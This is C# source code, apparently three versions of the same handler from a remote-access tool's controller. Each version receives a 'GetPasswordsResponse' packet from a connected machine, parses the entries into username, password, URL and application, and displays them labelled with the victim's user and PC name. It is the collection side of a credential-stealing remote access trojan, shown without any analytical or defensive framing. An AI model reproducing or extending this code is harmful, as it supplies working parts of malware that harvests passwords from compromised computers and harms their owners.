public static void HandleGetPasswordsResponse(ClientMosaique client, GetPasswordsResponse packet) { if (client.value == null || client.value.frmPr == null) { return; } if (packet.passwords == null) { return; } string userAtPc = client.value.name; var lst = packet.passwords.Select(str => str.Split(new[] { DELIMITER }, StringSplitOptions.None)) .Select( values => new RecoveredAccount { username = values[0], password = values[1], URL = values[2], application = values[3] }) .ToList(); if (client.value != null && client.value.frmPr != null) { client.value.frmPr.AddPasswords(lst.ToArray(), userAtPc); } }
public static void HandleGetPasswordsResponse(Client client, GetPasswordsResponse packet) { if (client.Value == null || client.Value.FrmPass == null) { return; } if (packet.Passwords == null) { return; } string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName); var lst = packet.Passwords.Select(str => str.Split(new[] { DELIMITER }, StringSplitOptions.None)) .Select( values => new RecoveredAccount { Username = values[0], Password = values[1], Url = values[2], Application = values[3] }) .ToList(); if (client.Value != null && client.Value.FrmPass != null) { client.Value.FrmPass.AddPasswords(lst.ToArray(), userAtPc); } }
private void Execute(ISender client, GetPasswordsResponse message) { Client c = (Client)client; string userAtPc = $"{c.Value.Username}@{c.Value.PcName}"; OnAccountsRecovered(message.RecoveredAccounts, userAtPc); }